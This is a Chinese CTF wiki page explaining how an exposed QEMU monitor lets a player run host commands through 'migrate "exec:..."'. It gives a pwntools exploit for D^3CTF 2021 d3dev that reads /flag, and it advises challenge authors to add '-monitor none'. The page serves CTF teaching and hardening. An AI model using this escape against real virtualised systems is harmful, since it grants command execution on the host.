利用 QEMU Monitor 读取 flag¶
Warning
The current page still doesn't have a translation for this language.
You can read it through Google Translate.
Besides, you can also help to translate it: Contributing.
QEMU monitor 是 QEMU 内置的一个交互式控制台窗口,主要用于监控和管理虚拟机的状态。由于 Linux kernel pwn 题目通常使用 QEMU 创建虚拟机环境,因此若是未禁止选手对 QEMU monitor 的访问,则选手可以直接获得整个虚拟机的访问权限。同时,由于 QEMU monitor 支持在 host 侧执行命令,因此也可以直接读取题目环境中的 flag,这同时意味着我们还能可以利用 QEMU monitor 完成虚拟化逃逸。
对于出题人而言,应当时刻保证
QEMU
的参数包含一行-monitor none
或是-monitor /dev/null
以确保选手无法访问 QEMU monitor。
通常情况下,进入 QEMU monitor 的方法如下:
- 首先同时按下
CTRL + A
- 接下来按
C
使用 pwntools 脚本时,可以通过发送 "\x01c"
完成,例如:
p = remote("localhost", 11451)
p.send(b"\x01c")
在 QEMU monitor 当中有一条比较好用的指令叫做 migrate
,其支持我们执行特定的 URI:
(qemu) help migrate
migrate [-d] [-r] uri -- migrate to URI (using -d to not wait for completion)
-r to resume a paused postcopy migration
其中,URI 可以是 'exec:<command>'
或 tcp:<ip:port>
,前者支持我们直接在宿主机上执行命令,例如下面的命令在宿主机上执行了 ls
命令:
migrate "exec: sh -c ls"
有的时候可能会由于一些特殊原因遇到没有输出的情况,这个时候可以尝试将 stdout 重定向至 stderr,例如:
(qemu) migrate "exec: whoami"
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu) migrate "exec: whoami 1>&2"
arttnba3
qemu-system-x86_64: failed to save SaveStateEntry with id(name): 2(ram): -5
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe
(qemu)
例题: D^3CTF 2021 - d3dev¶
分析¶
题目将用于构建远程 docker 环境的文件给了咱们,不难看出题目的核心服务为 launch.sh
:
$ ls
Dockerfile README.md bin ctf.xinetd flag lib pc-bios start.sh
$ cat start.sh
#!/bin/sh
# Add your startup script
# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;
$ cat ctf.xinetd | grep -i server
server = /usr/sbin/chroot
server_args = --userspec=1000:1000 /home/ctf ./launch.sh
查看 launch.sh
,不难看出题目启动了一个 QEMU 虚拟机环境并加载了一个自定义设备 d3dev
,因此应当是一道 QEMU 逃逸的题目:
$ find . -name launch.sh
./bin/launch.sh
$ ls bin
launch.sh qemu-system-x86_64 rootfs.img vmlinuz
$ cat bin/launch.sh
#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
利用¶
由于出题人在启动脚本里并没有禁用 QEMU monitor,因此我们可以直接通过 QEMU monitor 提供的 migrate 指令直接在 host 侧执行命令,完成虚拟机逃逸:
from pwn import *
def recvuntil_filter(p, target):
target_len = len(target)
s = b''
ignore_next = False
while True:
ch = p.recv(1)
if ignore_next:
ignore_next = False
continue
if ch == b'\x1b':
ch = p.recv(2)
if ch == b'[D':
ignore_next = True
elif ch == b'[K':
s = b''
else:
print("Unhandled escape sequences : {}".format(ch))
continue
if ch[0] < 0x20 or ch[0] > 0x7E:
continue
s += ch
if s[-target_len:] == target:
return s
def main():
p = remote("localhost", 5555)
p.recvuntil(b" $")
p.send(b"\x01c")
p.recvuntil(b"monitor - type 'help' for more information")
p.sendline(b'migrate "exec: cat /flag"')
flag = recvuntil_filter(p, b'flag{')[-5:]
flag += recvuntil_filter(p, b'}')
print(flag.decode())
if __name__ == '__main__':
main()